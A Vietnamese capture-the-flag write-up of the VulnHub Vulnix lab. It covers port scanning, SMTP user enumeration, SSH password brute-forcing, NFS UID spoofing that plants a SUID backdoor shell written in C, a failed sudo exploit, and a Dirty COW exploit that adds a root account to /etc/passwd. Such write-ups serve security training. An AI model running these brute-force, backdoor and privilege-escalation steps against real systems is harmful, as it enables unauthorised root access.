

VULNIX WRITEUP

Vulnix Lab Report

Thông tin bài lab

Lab ID	Vulnix
Tên lab	Vulnix - VulnHub
Platform / Source	CTF
Target	192.168.205.129

Chi tiết lỗ hổng

Reconnaissance

Service Enumeration

```
(ncbachhhh@kali)-[~]
└─$ sudo arp-scan --localnet
[sudo] password for ncbachhhh:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:8f:2c:b4, IPv4: 192.168.205.136
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.205.1 00:50:56:c0:00:08 (Unknown)
192.168.205.2 00:50:56:fd:37:4a (Unknown)
192.168.205.129 00:0c:29:d8:f0:dd (Unknown)
192.168.205.254 00:50:56:f0:54:b6 (Unknown)

6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.862 seconds (137.49 hosts/sec). 4 responded
```

Hình 01: Kết quả arp-scan trên mạng NAT, có địa chỉ 192.168.205.129

```
(ncbachhhh@kali)-[~]
└─$ ping -c 4 192.168.205.129
PING 192.168.205.129 (192.168.205.129) 56(84) bytes of data:
64 bytes from 192.168.205.129: icmp_seq=1 ttl=64 time=0.486 ms
64 bytes from 192.168.205.129: icmp_seq=2 ttl=64 time=0.202 ms
64 bytes from 192.168.205.129: icmp_seq=3 ttl=64 time=0.243 ms
64 bytes from 192.168.205.129: icmp_seq=4 ttl=64 time=0.390 ms

--- 192.168.205.129 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3060ms
rtt min/avg/max/mdev = 0.202/0.330/0.486/0.113 ms
```

Hình 02: Kết quả ping tới ip 192.168.205.129

```

(ncbachhhh@kali)-[~]
$ nmap -p- -T4 192.168.205.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-18 16:52 +0700
Nmap scan report for 192.168.205.129
Host is up (0.0016s latency).
Not shown: 65518 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
79/tcp    open  finger
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
993/tcp   open  imaps
995/tcp   open  pop3s
2049/tcp  open  nfs
33679/tcp open  unknown
47889/tcp open  unknown
51676/tcp open  unknown
52392/tcp open  unknown
60320/tcp open  unknown
MAC Address: 00:0C:29:D8:F0:DD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.12 seconds

```

Hình 03: Kết quả nmap scan port của ip trên

```

(ncbachhhh@kali)-[~]
$ nmap -sV -sC -p 22,25,79,110,111,143,512,513,514,993,995,2049 192.168.205.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-18 16:52 +0700
Nmap scan report for 192.168.205.129
Host is up (0.00018s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 5.9p1 Debian Subuntul (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
|   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp    open  smtp         Postfix smtpd
|_ ssl-date: 2026-08-18T09:56:06+00:00; 0s from scanner time.
|_ ssl-cert: Subject: commonName=vulnix
|_ Not valid before: 2012-09-02T17:40:12
|_ Not valid after:  2022-08-31T17:40:12
|_ smtp-command: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
79/tcp    open  finger       Linux fingerd
|_ finger: No one logged on.\x0D
110/tcp   open  pop3?
|_ ssl-date: 2026-08-18T09:56:06+00:00; 0s from scanner time.
|_ ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
|_ Not valid before: 2012-09-02T17:40:22
|_ Not valid after:  2022-09-02T17:40:22

```

Hình 04: Chi tiết các cổng đang mở

```

111/tcp open  rpcbind      2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4      111/tcp    rpcbind
|   100000  2,3,4      111/udp    rpcbind
|   100000  3,4        111/tcp6   rpcbind
|   100000  3,4        111/udp6   rpcbind
|   100003  2,3,4      2049/tcp   nfs
|   100003  2,3,4      2049/tcp6  nfs
|   100003  2,3,4      2049/udp   nfs
|   100003  2,3,4      2049/udp6  nfs
|   100005  1,2,3      44176/udp6 mountd
|   100005  1,2,3      47889/tcp  mountd
|   100005  1,2,3      51408/tcp6 mountd
|   100005  1,2,3      52469/udp  mountd
|   100021  1,3,4      43594/udp  nlockmgr
|   100021  1,3,4      44216/udp6 nlockmgr
|   100021  1,3,4      59216/tcp6 nlockmgr
|   100021  1,3,4      60320/tcp  nlockmgr
|   100024  1          46437/udp  status
|   100024  1          51676/tcp  status
|   100024  1          52479/udp6 status
|   100024  1          54459/tcp6 status
|   100227  2,3        2049/tcp   nfs_acl
|   100227  2,3        2049/tcp6  nfs_acl
|   100227  2,3        2049/udp   nfs_acl
|   100227  2,3        2049/udp6  nfs_acl
143/tcp open  imap      Dovecot imapd
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_ssl-date: 2026-08-18T09:56:06+00:00; 0s from scanner time.
512/tcp open  exec?
513/tcp open  login      OpenBSD or Solaris rlogind
514/tcp open  tcpwrapped

```

Hình 05: Quét chi tiết các cổng đang mở

```

993/tcp open  ssl/imap  Dovecot imapd
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_ssl-date: 2026-08-18T09:56:06+00:00; 0s from scanner time.
995/tcp open  ssl/pop3s?
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_ssl-date: 2026-08-18T09:56:06+00:00; 0s from scanner time.
2049/tcp open  nfs       2-4 (RPC #100003)
MAC Address: 00:0C:29:D8:F0:DD (VMware)
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.47 seconds

```

Hình 06: Quét chi tiết các cổng đang mở

```

(ncbachhhh@kali)-[~]
$ showmount -e 192.168.205.129
Export list for 192.168.205.129:
/home/vulnix *

(ncbachhhh@kali)-[~]
$ finger @192.168.205.129
No one logged on.

```

Hình 07: Kiểm tra NFS share thư mục nào và tìm các user trên hệ thống sử dụng giao thức finger

Exploit Chain – User Enumeration to Weak SSH Credentials to NFS UID Spoofing/SUID PrivEsc to Dirty COW (CVE-2016-5195) to Root

Attack Path

1. Đầu tiên ta sẽ thử mount NFS để thử xem có quyền truy cập không

```
(ncbachhhh@kali)-[~]
$ sudo mkdir -p /mnt/vulnix

(ncbachhhh@kali)-[~]
$ sudo mount -t nfs 192.168.205.129:/home/vulnix /mnt/vulnix

(ncbachhhh@kali)-[~]
$ ls -la /mnt/vulnix
ls: cannot open directory '/mnt/vulnix': Permission denied
```

Hình 08: Có thể server được config root_squash khiến ta thành user nobody nên không có quyền truy cập

```
(ncbachhhh@kali)-[~]
$ smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.205.129
```

Hình 09: Brute-force để tìm các user thông qua SMTP

```
##### Scan started at Tue Aug 18 16:59:30 2026 #####
192.168.205.129: backup exists
192.168.205.129: bin exists
192.168.205.129: daemon exists
192.168.205.129: games exists
192.168.205.129: gnats exists
192.168.205.129: irc exists
192.168.205.129: landscape exists
192.168.205.129: libuuid exists
192.168.205.129: list exists
192.168.205.129: lp exists
192.168.205.129: man exists
192.168.205.129: mail exists
192.168.205.129: messagebus exists
192.168.205.129: news exists
192.168.205.129: nobody exists
192.168.205.129: postfix exists
192.168.205.129: postmaster exists
192.168.205.129: proxy exists
192.168.205.129: root exists
192.168.205.129: ROOT exists
192.168.205.129: sshd exists
192.168.205.129: sync exists
192.168.205.129: sys exists
192.168.205.129: syslog exists
192.168.205.129: user exists
192.168.205.129: uucp exists
192.168.205.129: whoopsie exists
192.168.205.129: www-data exists
##### Scan completed at Tue Aug 18 16:59:30 2026 #####
28 results.

175 queries in 1 seconds (175.0 queries / sec)
```

Hình 10: Thu thập được các user sau, các user đáng để ý là backup, root, user

```
(ncbachhhh@kali)-[~]
$ nc -nv 192.168.205.129 25
(UNKNOWN) [192.168.205.129] 25 (smtp) open
220 vulnix ESMTF Postfix (Ubuntu)
VRFY vulnix
252 2.0.0 vulnix
VRFY root
252 2.0.0 root
```

Hình 11: Ta dùng netcat thử test thêm sự tồn tại của user vulnix và root

```
(ncbachhhh@kali)-[~]
$ stat /mnt/vulnix
File: /mnt/vulnix
Size: 4096          Blocks: 8          IO Block: 65536  directory
Device: 0,57      Inode: 32917       Links: 2
Access: (0750/drwxr-x---)  Uid: (65534/  nobody)   Gid: (65534/ nogroup)
Access: 2012-09-03 01:25:05.255399564 +0700
Modify: 2012-09-03 01:25:02.599394586 +0700
Change: 2012-09-03 01:25:02.599394586 +0700
Birth: -
```

Hình 12: Xác thực được việc server config root_squash

```
(ncbachhhh@kali)-[~]
$ openssl s_client -connect 192.168.205.129:995 -crlf -quiet
Connecting to 192.168.205.129
Can't use SSL_get_servername
depth=0 0=Dovecot mail server, OU=vulnix, CN=vulnix, emailAddress=root@vulnix
verify error:num=18:self-signed certificate
verify return:1
depth=0 0=Dovecot mail server, OU=vulnix, CN=vulnix, emailAddress=root@vulnix
verify error:num=10:certificate has expired
notAfter=Sep  2 17:40:22 2022 GMT
verify return:1
depth=0 0=Dovecot mail server, OU=vulnix, CN=vulnix, emailAddress=root@vulnix
notAfter=Sep  2 17:40:22 2022 GMT
verify return:1
+OK Dovecot ready.
USER user
+OK
PASS password
-ERR Authentication failed.
USER user
+OK
PASS 123456
-ERR Authentication failed.
^C
```

Hình 13: Ta thử dùng openssl để dò mật khẩu của user user

```
(ncbachhhh@kali)-[~]
$ nmap -p 111,2049 --script nfs-ls,nfs-showmount 192.168.205.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-18 17:06 +0700
Nmap scan report for 192.168.205.129
Host is up (0.00031s latency).

PORT      STATE SERVICE
111/tcp   open  rpcbind
| nfs-showmount:
|_ /home/vulnix *
| nfs-ls: Volume /home/vulnix
|_ access: NoRead NoLookup NoModify NoExtend NoDelete NoExecute
2049/tcp   open  nfs
MAC Address: 00:0C:29:D8:F0:DD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds
```

Hình 14: Ta thử dùng nmap để tìm các uid nhưng không khả thi

```
(ncbachhhh@kali)-[~]
$ hydra -L users.txt -P pass.txt 192.168.205.129 pop3s
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-18 17:07:16
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 48 login tries (1:4/p:12), ~3 tries per task
[DATA] attacking pop3s://192.168.205.129:995/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-18 17:07:41
```

Hình 15: Brute-force tìm username:password thông qua POP3S nhưng không có kết quả

```
(ncbachhhh@kali)-[~]
$ hydra -L users.txt -P pass.txt 192.168.205.129 ssh
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-18 17:08:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 48 login tries (1:4/p:12), ~3 tries per task
[DATA] attacking ssh://192.168.205.129:22/
[22][ssh] host: 192.168.205.129 Login user password: letmein
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-18 17:08:17
```

Hình 16: Brute-force thông qua SSH và tìm được user user:letmein

2. Ta đã tìm thấy 1 user có thể truy cập vậy ta sẽ truy cập vào chính user đó

```
(ncbachhhh@kali)-[~]
$ ssh user@192.168.205.129
The authenticity of host '192.168.205.129 (192.168.205.129)' can't be established.
ECDSA key fingerprint is: SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4mMVIOAg
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.205.129' (ECDSA) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
user@192.168.205.129's password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

System information as of Tue Aug 18 11:10:04 BST 2026

System load:  0.01          Processes:      89
Usage of /:   90.2% of 773MB Users logged in: 0
Memory usage: 7%           IP address for eth0: 192.168.205.129
Swap usage:   0%

⇒ / is using 90.2% of 773MB

Graph this data and manage this system at https://landscape.canonical.com/

Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife

New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

user@vulnix:~$ whoami
user
user@vulnix:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),100(users)
```

Hình 17: Truy cập thành công user user nhưng ta chưa có quyền root


```

user@vulnix:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes      hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4       gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix      *(rw,root_squash)
user@vulnix:~$ sudo -l
[sudo] password for user:
Sorry, user user may not run sudo on vulnix.

```

Hình 18: Kiểm tra /etc/exports và sudo -l

3. Xác minh chính xác hệ thống config root_squash và user này không được sử dụng sudo. Vậy ta sẽ tìm hướng tấn công khác

```

user@vulnix:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
postfix:x:104:110::/var/spool/postfix:/bin/false
dovecot:x:105:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:106:65534:Dovecot login user,,,:/nonexistent:/bin/false
landscape:x:107:113::/var/lib/landscape:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash
statd:x:109:65534::/var/lib/nfs:/bin/false

```

Hình 19: Ta tìm được user vulnix có uid là 2008

```

(ncbachhhh@kali)~]
$ sudo useradd -u 2008 -m -s /bin/bash vulnix_client
[sudo] password for ncbachhhh:

(ncbachhhh@kali)~]
$ ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ncbachhhh/.ssh/id_rsa):
Enter passphrase for "/home/ncbachhhh/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/ncbachhhh/.ssh/id_rsa
Your public key has been saved in /home/ncbachhhh/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:i4SjfeFNwcsqU6k4Qsc+CJYkZz2HAONA5gKLyQD48MA ncbachhhh@kali
The key's randomart image is:
+----[RSA 2048]-----+
|%.                    |
|&E o . .             |
|*Xo + . o            |
|+o= + o o            |
|. + oo = S           |
|+ ++ * * .           |
|..+o= = o            |
|..+.                 |
+-----[SHA256]-----+

(ncbachhhh@kali)~]
$ sudo mount -t nfs 192.168.205.129:/home/vulnix /mnt/vulnix
mount.nfs: access denied by server while mounting 192.168.205.129:/home/vulnix

(ncbachhhh@kali)~]
$ sudo -u \#2008 mkdir -p /mnt/vulnix/.ssh

(ncbachhhh@kali)~]
$ sudo cat /home/ncbachhhh/.ssh/id_rsa.pub | sudo -u \#2008 tee /mnt/vulnix/.ssh/authorized_keys > /dev/null

(ncbachhhh@kali)~]
$ sudo -u \#2008 chmod 700 /mnt/vulnix/.ssh

(ncbachhhh@kali)~]
$ sudo -u \#2008 chmod 600 /mnt/vulnix/.ssh/authorized_keys

(ncbachhhh@kali)~]
$ ssh vulnix@192.168.205.129 -i /home/ncbachhhh/.ssh/id_rsa
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
vulnix@192.168.205.129's password:

```

Hình 19: Ta tạo 1 user trên máy attack có uid là 2008 giống vulnix. Sau đó lưu ssh key vào hệ thống để truy cập không cần mật khẩu. Nhưng có vẻ ssh key đã bị từ chối vì hệ thống vẫn yêu cầu mật khẩu

4. Không thể truy cập user vulnix thông qua ssh. Vậy ta sẽ thử với 1 backdoor với khả năng gọi shell với quyền của uid 2008

```

(ncbachhhh@kali)~]
$ cat << 'EOF' > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>
int main() {
    setreuid(2008, 2008);
    setregid(2008, 2008);
    system("/bin/bash -p");
    return 0;
}
EOF

```

Hình 20: Script backdoor


```
(ncbachhhh@kali)-[~]
$ sudo -u \#2008 cp /tmp/vulnix_shell /mnt/vulnix/vulnix_shell

(ncbachhhh@kali)-[~]
$ sudo -u \#2008 chmod 4755 /mnt/vulnix/vulnix_shell

(ncbachhhh@kali)-[~]
$ sudo -u \#2008 chmod o+x /mnt/vulnix
```

Hình 21: Đẩy script qua NFS và cấp quyền execute cho nó

```
user@vulnix:~$ /home/vulnix/vulnix_shell
vulnix@vulnix:~$ id
uid=2008(vulnix) gid=1000(user) groups=2008(vulnix),100(users),1000(user)
vulnix@vulnix:~$
```

Hình 22: Chạy script và thành công truy cập user vulnix

5. Ta đã có thể sử dụng user vulnix vậy ta sẽ thử thay đổi /etc/exports

```
uid=2008(vulnix) gid=1000(user) groups=2008(vulnix),100(users),1000(user)
vulnix@vulnix:~$ sudoedit /etc/exports
```

Hình 23: Sử dụng sudoedit để sửa file

```
# /etc/exports: the access control list for filesystems which may be exported
#                to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes      hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4       gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix     *(rw,no_root_squash)
```

Hình 24: Thay đổi root_squash thành no_root_squash

```
vulnix@vulnix:~$ sudo exportfs -ra
[sudo] password for vulnix:
vulnix@vulnix:~$ sudo /etc/init.d/nfs-kernel-server reload
[sudo] password for vulnix:
vulnix@vulnix:~$ sudo service nfs-kernel-server reload
[sudo] password for vulnix:
vulnix@vulnix:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
vulnix@vulnix:~$
```

Hình 25: Reload lại cấu hình nhưng bị yêu cầu mật khẩu, và cron job cũng không tự động reload lại

```
(ncbachhhh@kali)-[~]
$ sudo umount /mnt/vulnix

(ncbachhhh@kali)-[~]
$ sudo mount -t nfs -o vers=3 192.168.205.129:/home/vulnix /mnt/vulnix
Created symlink '/run/systemd/system/remote-fs.target.wants/rpc-statd.service' → '/usr/lib/systemd/system/rpc-statd.service'.
```

Hình 26: Thử mount lại để kiểm tra xem cấu hình có được reload không

```
(ncbachhhh@kali)-[~]
$ sudo touch /mnt/vulnix/test_root
touch: cannot touch '/mnt/vulnix/test_root': Permission denied
```

Hình 27: Quyền bị từ chối nghĩa là ta không thể tự reload lại cấu hình

6. Việc reload thất bại nên ta hướng tới việc thêm 1 user nữa trong /etc/passwd với quyền root

```
vulnix@vulnix:~$ EDITOR="vi -- /etc/passwd" sudoedit /etc/exports
```

Hình 28: Đánh lừa sudoedit theo CVE-2023-22809 để chèn 1 user mới không cần mật khẩu

```
t2::0:0:root:/root:/bin/bash
~
~
~
~
```

Hình 29: Thêm user với quyền root

```
vulnix@vulnix:~$ EDITOR="vi -- /etc/passwd" sudoedit /etc/exports
3 files to edit
sudoedit: /etc/passwd unchanged
sudoedit: /etc/exports unchanged
vulnix@vulnix:~$
```

Hình 30: Nhưng user vulnix không có quyền thay đổi file vậy nên /etc/passwd không thay đổi

```
vulnix@vulnix:~$ su root2
Unknown id: root2
```

Hình 31: Kiểm chứng suy đoán và xác nhận user mới không tồn tại

7. Ta sẽ thử với hướng khai thác lỗ hổng sudo bản cũ

```
vulnix@vulnix:~$ sudo -V
Sudo version 1.8.3p1
Sudoers policy plugin version 1.8.3p1
Sudoers file grammar version 40
Sudoers I/O plugin version 1.8.3p1
```

Hình 32: Hệ thống dùng sudo bản 1.8.3p1 khá cũ. Vậy nên ta sẽ tìm lỗ hổng của bản sudo này

Exploit Title	Path
sudo 1.8.0 < 1.8.3p1 - 'sudo.debug' glibc FORTIFY_SOURCE Bypass + Privilege Escalation	linux/local/25134.c
sudo 1.8.0 < 1.8.3p1 - Format String	linux/dos/18436.txt
Shellcodes: No Results	

Hình 33: Tồn tại lỗ hổng leo thang đặc quyền ở bản sudo này

```

(ncbachhhh@kali)-[~]
$ cp /usr/share/exploitdb/exploits/linux/local/25134.c /tmp/sudo_exploit.c

(ncbachhhh@kali)-[~]
$ gcc -m32 -static /tmp/sudo_exploit.c -o /tmp/sudo_exploit
/tmp/sudo_exploit.c: In function 'is_sudo_vuln':
/tmp/sudo_exploit.c:167:5: warning: 'fgets' writing 21 bytes into a region of size 20 overflows the destination [-Wstringop-overflow=]
167 |     fgets(path, 21, fp);
    |     ^~~~~~
/tmp/sudo_exploit.c:158:10: note: destination object 'path' of size 20
158 |     char path[20];
    |     ^~~~~~
In file included from /tmp/sudo_exploit.c:65:
/usr/include/stdio.h:654:14: note: in a call to function 'fgets' declared with attribute 'access(write_only, 1, 2)'
654 |     extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
    |                      ^~~~~~
/tmp/sudo_exploit.c: In function 'set_env':
/tmp/sudo_exploit.c:238:5: warning: '__builtin_memcpy' writing 65000 bytes into a region of size 64989 overflows the destination [-Wstringop-overflow=]
238 |     memcpy(ld_preload_evar+11, user_details, sizeof(user_details));
    |     ^~~~~~
/tmp/sudo_exploit.c:231:10: note: at offset 11 into destination object 'ld_preload_evar' of size 65000
231 |     char ld_preload_evar[OFFSET] = "LD_PRELOAD=";
    |     ^~~~~~

(ncbachhhh@kali)-[~]
$ sudo -u \#2008 cp /tmp/sudo_exploit /mnt/vulnix/

(ncbachhhh@kali)-[~]
$ sudo -u \#2008 chmod 777 /mnt/vulnix/sudo_exploit

```

Hình 34: Copy shell sau đó compile và chuyển qua NFS với uid 2008

```

vulnix@vulnix:~$ /home/vulnix/sudo_exploit
[+] Targeting release: 3.2.0-29-generic-pae
[+] Found a vuln sudo version: 1.8.3
[-] Failed to write backdoor on the target, check your permissions
Segmentation fault (core dumped)
vulnix@vulnix:~$

```

Hình 35: Thất bại việc viết backdoor lên hệ thống

8. Khai thác thông qua sudo bản cũ thất bại. Nhưng ta vẫn còn 1 thông tin là hệ thống dùng Ubuntu 12.04 sử dụng kernel 3.2.0-29-generic-pae. Tìm kiếm thì có 1 CVE Dirty COW có thể khai thác

```

(ncbachhhh@kali)-[~]
$ searchsploit dirty cow

```

Exploit Title	Path
Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (1)	linux/dos/43199.c
Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (2)	linux/dos/44395.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW' /proc/self/mem Race Condition Privilege Escalation (SUID Method)	linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition Privilege Escalation (/etc/passwd Method)	linux/local/40804r.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' PTTRACE_POKEDATA Race Condition (Write Access Method)	linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)	linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method)	linux/local/40611.c

Shellcodes: No Results

Hình 36: Tìm kiếm Dirty COW

```

(ncbachhhh@kali)-[~]
$ cp /usr/share/exploitdb/exploits/linux/local/40839.c /tmp/dirty.c

(ncbachhhh@kali)-[~]
$ gcc -m32 -pthread -static /tmp/dirty.c -o /tmp/dirty -lcrypt

(ncbachhhh@kali)-[~]
$ sudo -u \#2008 cp /tmp/dirty /mnt/vulnix/

(ncbachhhh@kali)-[~]
$ sudo -u \#2008 chmod 777 /mnt/vulnix/dirty

```

Hình 37: Copy shell và compile, chuyển qua NFS


```

vulnix@vulnix:~$ /home/vulnix/dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fiUoRi.gtlE9M:0:0:pwned:/root:/bin/bash

mmap: b77ae000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'kali'.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
vulnix@vulnix:~$ madvise 0

Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'kali'.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

```

Hình 38: Khởi chạy shell và nhận lại 1 user mới chạy quyền root

```

vulnix@vulnix:~$ cat /etc/passwd
firefart:fiUoRi.gtlE9M:0:0:pwned:/root:/bin/bash
/u/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
postfix:x:104:110::/var/spool/postfix:/bin/false
dovecot:x:105:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovecotnull:x:106:65534:Dovecot login user,,,:/nonexistent:/bin/false
landscape:x:107:113::/var/lib/landscape:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash
statd:x:109:65534::/var/lib/nfs:/bin/false

```

Hình 39: Kiểm chứng /etc/passwd và xác nhận user firefart có quyền root

```

